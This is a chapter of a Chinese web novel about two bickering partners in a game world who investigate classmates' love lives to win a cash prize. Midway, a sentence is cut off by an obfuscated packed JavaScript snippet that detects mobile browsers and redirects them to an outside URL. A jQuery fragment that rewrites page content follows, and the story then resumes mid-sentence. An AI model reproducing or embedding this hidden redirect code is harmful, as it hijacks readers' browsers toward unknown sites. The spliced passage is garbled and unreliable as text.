“我去——”像是热油中滴入了水，班内氛围顿时大变。


    如刃般的目光从身侧削来，俞冰溶仍然维持着楚楚可怜的姿态，眼睛都不眨一下。


    游韧也站了起来，声音不卑不亢，维持在镇定范围：“老师，对不起。我手机中病毒了，另一门课程的作业还没交，手机里也还有钱，不得已才看看能不能抢救。”


    都是成年人，谁会相信有人不情不愿地搞/黄色呢？


    老师怒其不争地扫视两人：“你们这一代……唉！坐下吧！”


    俞冰溶和游韧的目光隔空交汇，硝烟弥漫，却又迅速沉寂下去，转化成腮边略显扭曲的笑意。


    “算你狠！”


    “你也不赖！”


    这里是游戏世界，一切都只是虚拟数据。虽然情绪是真，但他们的脸皮都还算厚，也不会真的把当众出糗和被老师训斥的尴尬放在心上。


    何况，刚才那场吃瘪，两人不相上下，谁都不认为自己输了。


    他们目前的关系，算得上亦敌亦友。防备和想看对方吃瘪都有，但任务死死地将他们捆绑在一起，两人各有盘算，各取所需，一时半会连天雷都没办法让他们反目。


    由于刚刚的动静太大，这会儿游韧也不敢造次，摸出手机给她发信息，也算是主动递了个台阶。


    [撩骚的李航，没在宿舍的姜纳和章筱，这三个人暂定为这一周目的调查对象？]


    [是的。还有，上一周目的问卷调查只是初筛，无法确认他们没有撒谎，还要确认有没有漏网之鱼。]


    俞冰溶越敲字越觉得任务艰巨。要在短时间内确认全班人是否在私生活上撒谎，根本是登天难题。


    连一向自信的游韧都觉得此事棘手：[人数太多，很困难。]


    但俞冰溶转念想想，一旦获胜就将迎来200万的奖励，她又觉得拼死也得做到。


    无论如何，事情解决一件是一件。后者不好解决，那就先从前者着手。


    [你去接近李航，我去和纳纳和章筱套近乎，先把他们三个人的情况摸清楚。]


    此事涉及纳纳，俞冰溶本以为游韧会提出相反意见，但他似乎没有从中作祟的意思，而是另起话题：[没问题。除了这三个人，你清洗数据的时候，还有发现其他不对劲，有别的怀疑对象吗？]


    [说什么废话？他们的名字和脸我都对不上号，能发现什么不对的地方？]


    [不然再统计一遍？我还没看过原始数据，说不准会有新的发现。]


    ？？？


    俞冰溶猛地偏头看他，气愤地狂按手机，颇有要把它戳出洞的趋势：[不是？上一周目你怎么不早说？]


    游韧云淡风轻：[早说又能怎么样？你是有过目不忘的本事，能把数据背下来复现，还是那时候我有时间逐条确认？]


    “……”俞冰溶不得不怀疑游韧故意在折腾她，好消磨她的时间，让她没时间盘问纳纳，更没时间捉奸，阻挠他的任务。


    然而，她却不得不依言照办。因为现如今的她实在抓瞎，不允许任何一丝可能性从指缝中流失。


    更悲催的是，她知道这大概率是无用功。


    先不提游韧有没有能力和愿不愿意火眼金睛的问题，就她自身实际出发，她总不能指望这群NPC两次能填出不一样的答案，让她从中找出漏洞来吧？


    就算游戏存在重大bug，真有不一致的情况，她也根本不记得这群人上一周目填的什么玩意好吗？她又不是吃了记忆面包的大雄！


    俞冰溶痛苦到五官挤成纸团。


    不过，她很快想到了新的点子来偷懒和宽慰自己。


    她拿起手机给正好缺钱的宿舍长发信息，和她商议由她完成红包发放的事宜。


    身旁这人一会儿愁眉苦脸，一会儿笑逐颜开，游韧又不是瞎子，自然能看见。


    [你搞什么？]


    [请看！]


    俞冰溶美滋滋地向他展示她花钱雇佣帮手的过程。


    [知人善用，我厉害吧？]


    游韧给她发了一长串的省略号来表示他的无语：[我还以为你想到了什么石破天惊的好主意，能够让形势逆转。]


    俞冰溶冷哼：[你懂什么？越是绝境，就越要给自己找希望。]


    [而且，她把我的工作干了，我不就有更多的时间接触同学了吗？]


    回复俞冰溶的依然是长串的省略号，也不知道是鄙夷她的偷懒技能，还是忽然发现他又陷入危机而大惊失色，默默思索应对之策。


    想了想，俞冰溶不死心地追加：[还有，这回提早发放和回收问卷，时间会宽裕许多。等你看出破绽，我们就有足够的时间探索！这次！我们一定能一举完成目标！]


    此举既是给游韧抬轿子，称赞他们的能力，也是为了给游韧施压，提醒他，他们现在明面上还是一条船上的，让他不要耍小心眼让这条船翻船。


    游韧的回应带着他一贯的嘴贱：[你倒是对我有信心，可我对自己没有。毕竟我要是看出点什么，不是说明你之前眼神不好吗？]


    &#@*%……


    一连串的国粹从俞冰溶的心中飘过，但明面上她笑容满溢，还拍了拍他的肩膀，用气音鼓励他：“我相信我的partner是最棒的！”


    棒个棒槌！


    俞冰溶转头就垮了脸，开始赶ddl一样赶着重新撰写问卷和群通知。中途被下课铃打断，醒过神来，着急地在班上找寻那张被她在课上用目光临摹过无数遍的脸。


    四处搜寻了一圈，竟然没找到？


    不是吧？难道一下课就冲去洗手间了吗？


    俞冰溶只好去洗手间转转，谁知刚出走廊就看见了章筱。


    烟雾缭绕中，那双颇具特色的吊俏眼若隐若现。她倚在栏杆上，正一手拿烟，一手举着电话，轻声和电话那端的人聊天。


    没有名目地停留在走廊偷听难免会让章筱留意并提防她。


    俞冰溶留意到章筱几步之外的几位男生中的熟面孔。只好忍住被二手烟侵袭的恶心，朝他们走去。


    “班长！”


    班长的眉宇浮现一丝明显的错愕：“找我？”


    “对，我有事想拜托你。”


    班长点点头，捏着烟支猛吸一口：“那你等我抽完这支烟先，我们到旁边说。”


    “不用，没关系，你抽你的，我就这么说就好。”俞冰溶站定在班长面前，控制说话声音，竖着耳朵尽力偷听章筱那边的对话。


    “真没关系？”


    俞冰溶听见章筱那端娇笑连连，讲话的语调上扬：“真的假的？”


    她心不在焉地回答：“没关系。”


    “真的？”


    俞冰溶这才反应过来，瞪大眼睛仔细瞧眼前人，这什么班长，这么婆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156635|193268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妈？一个问题都要问两遍。


    抬眼却在他的眸光中捕捉到促狭和玩味。


    旁边男生听到他们的对话，直接指出：“俞冰溶，照一下镜子吧？你那脸都快皱成黄花菜了！”


    有过一面之缘的杨羽也笑：“怪不得游韧不抽烟，原来是你不让。”


    “……”抽烟是什么很光荣的事情吗？请问？


    提起游韧，大家纷纷想起刚刚课堂上的那一茬，顿时噤若寒蝉。


    就连班长也敛去笑意，踩灭了烟头，正色问她：“你找我什么事？”


    俞冰溶这才意识到因为他们的打岔，错过了章筱刚刚的对话。


    真是烦死这群抽烟还乱扔烟头的低素质男生了！


    一心难以二用，她只好速战速决地和班长提起问卷的事情，请他届时帮忙在班群内@所有人。


    “没问题。”班长答应下来。


    俞冰溶意识到班长还在看着她，像是在等她的下文，也像是在用眼神询问她怎么还不走。


    感谢杨羽的打岔，让她想起她还有个活捉男友在课堂上看擦/边的理由停留在这里。


    “谢谢班长，我没其他事了。你们聊，我在外面待一会儿。”


    她摆出自言自语的抱怨架势，极其自然地占据了男生们和章筱之间的间隙，“看见游韧就烦，我宁可闻烟味，也不想回去对着他。”


    班长欲言又止。


    杨羽大概是想补救刚刚的失言，特地出言宽慰她：“别放在心上，男的没有不好色的，就跟你们女的喜欢看帅哥一个道理。”


    俞冰溶营造出强颜欢笑的模样，以期让这群人别烂好心地继续烦她。


    “道理我都懂。我没事，我就是暂时想自己待一会儿。”


    她不能把话说死，毕竟她后续还要和游韧交头接耳、“和和美美”。


    好在这群人识趣，虽然投向她的视线仍然抱有疑虑，但却没有再行劝导一事，能让她看似目眺远方，实则全神贯注地行偷听一事。


    “我还有一节课。”


    “那要不你中午来我们学校找我，一起吃饭？”


    “好啊，那我等你。”


    “你想吃什么？”


    “哼，又哄我！”


    ……


    单从这段对话和章筱的语气、神情来看，电话那端更像是男性。


    这么明目张胆地在下课时间在公众场合和对方通话，是不是代表这个班里没有章筱在乎的人？


    不过，这只能说明章筱在班上没有正式男友，不意味着她没有其他性缘关系。


    无论如何，俞冰溶放学的行程已经被安排得明明白白——假装偶遇章筱，搞明白和她会面的人的身份，再不经意地提起问卷的事情，好言催促她帮忙填写。


    至于她的另一个调查对象？游韧和纳纳的事情在她这里板上钉钉，几乎判了死刑，不值得费心。她固然很想看两人奸情败露，游韧惊慌失措的笑话，但眼下她自身难保，哪有那精力忙活捉奸一事。


    再说，她把游韧扳倒了，谁来替她干活？


    理清思路，烟民的一支烟时间也陆续结束，俞冰溶心情好转，感觉肺部都通气许多。


    可惜的是，上课铃声也在这时响了起来。念及未完工的问卷，俞冰溶赶忙回到座位上，准备继续忙碌。


    游韧随后落座，她掀起眼皮瞧他一眼：“有收获没有？”